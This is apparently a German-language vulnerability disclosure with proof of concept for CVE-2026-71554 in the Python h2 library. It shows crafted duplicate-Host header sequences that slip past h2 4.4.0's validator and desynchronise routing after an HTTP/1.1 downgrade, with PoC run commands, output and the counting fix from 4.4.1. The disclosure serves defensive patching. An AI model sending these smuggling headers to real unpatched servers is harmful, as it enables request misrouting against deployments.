
PoC für CVE-2026-71554 - Request-Smuggling-Primitive für doppelten Host-Header in h2 (behoben in 4.4.1)
CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg Betroffen: h2 <= 4.4.0 Behoben: h2 4.4.1 Schweregrad: Mittel (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554
Bei der Überprüfung der Header-Validierungslogik von h2 ist mir aufgefallen, dass _validate_host_authority_header() in src/h2/utilities.py prüft, ob Host und :authority übereinstimmen – aber nur den letzten Host-Header vergleicht, den es sieht. Wenn man zwei Host-Header sendet, verwendet h2 den zweiten für die Übereinstimmungsprüfung und leitet beide ohne Beanstandung an die Anwendung weiter.
Interessanterweise lehnt h2 4.4.0 bereits doppelte Content-Length-Header mit einem ProtocolError ab. Dieselbe Korrektur wurde nie auf Host angewendet. Es gab sogar einen TODO-Kommentar im Quellcode, der genau diese Lücke einräumte:
# TODO: We should also guard against receiving duplicate Host headers,
# and against sending duplicate headers.
_validate_host_authority_header() in src/h2/utilities.py verwendet eine Last-Wins-Schleife, die den zuletzt gesehenen Host-Wert speichert und nur Folgendes prüft:
:authority oder Host ist vorhandenEs gibt keine Prüfung der Anzahl der Host-Header. Jeder Host-Header wird unabhängig davon, wie viele vorhanden sind, an die Anwendung weitergegeben.
Der Client sendet:
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker
h2 akzeptiert beide. Die Anwendung erhält beide Host-Header.
Ein HTTP/1.1-Downgrade erzeugt:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
RFC 9112 Abschnitt 3.2 verlangt, dass ein Server mit 400 auf jede HTTP/1.1-Anfrage antwortet, die mehr als einen Host-Header enthält. Backends weichen voneinander ab:
nginx — lehnt mit 400 ab
Python stdlib — akzeptiert, gibt beim Lookup den ERSTEN Host zurück
Werkzeug — akzeptiert, gibt beim Lookup den ERSTEN Host zurück
Der Client sendet:
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker <- Index 0, erster Host (vom Origin gesehen)
host: good.internal <- Index 1, letzter Host (vom h2-Validator verwendet)
h2 validiert: letzter Host (good.internal) == :authority (good.internal) – besteht.
Die Anwendung erhält beide Host-Header. Ein HTTP/1.1-Downgrade erzeugt:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
Backends, die bei einem Single-Key-Lookup den ersten Host zurückgeben, leiten die Anfrage an evil.attacker weiter, während h2 glaubte, good.internal validiert zu haben. Vollständige Routing-Desynchronisation zwischen dem, was h2 validiert hat, und dem, was der Origin verarbeitet.
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker
h2 löst einen ProtocolError aus. Bestätigt, dass die Lücke spezifisch für doppelte Host-Header ist.
Die Auswirkung hängt von der Deployment-Architektur ab:
pip install h2==4.4.0
python3 poc_h2_duplicate_host.py
CASE 1 - Zwei Host-Header, kein :authority (beide weitergeleitet)
h2 weitergeleitete Host-Header: ['good.internal', 'evil.attacker']
Resultierende HTTP/1.1-Anfrage:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
CASE 2 - STEALTH: :authority stimmt mit dem LETZTEN Host überein, erster Host geschmuggelt
:authority=['good.internal'] Host(s)=['evil.attacker', 'good.internal']
h2-Mismatch-Prüfung BESTEHT (:authority == letzter Host).
Resultierende HTTP/1.1-Anfrage:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
CONTROL - Einzelner nicht übereinstimmender Host vs. :authority (korrekt abgelehnt)
[control] SENDER rejected: ProtocolError(...)
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py
Alle drei Fälle lösen einen ProtocolError aus. Es werden keine Header weitergeleitet.
Ein Zähler, der der bestehenden Schleife in _validate_host_authority_header() hinzugefügt wurde:
host_header_count = 0
for header in headers:
if header[0] == b"host":
host_header_count += 1
yield header
if host_header_count > 1:
raise ProtocolError("Request header block has multiple Host headers.")
Commit: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6
Entdeckt und gemeldet von Sunand Mohan (https://github.com/SunandM)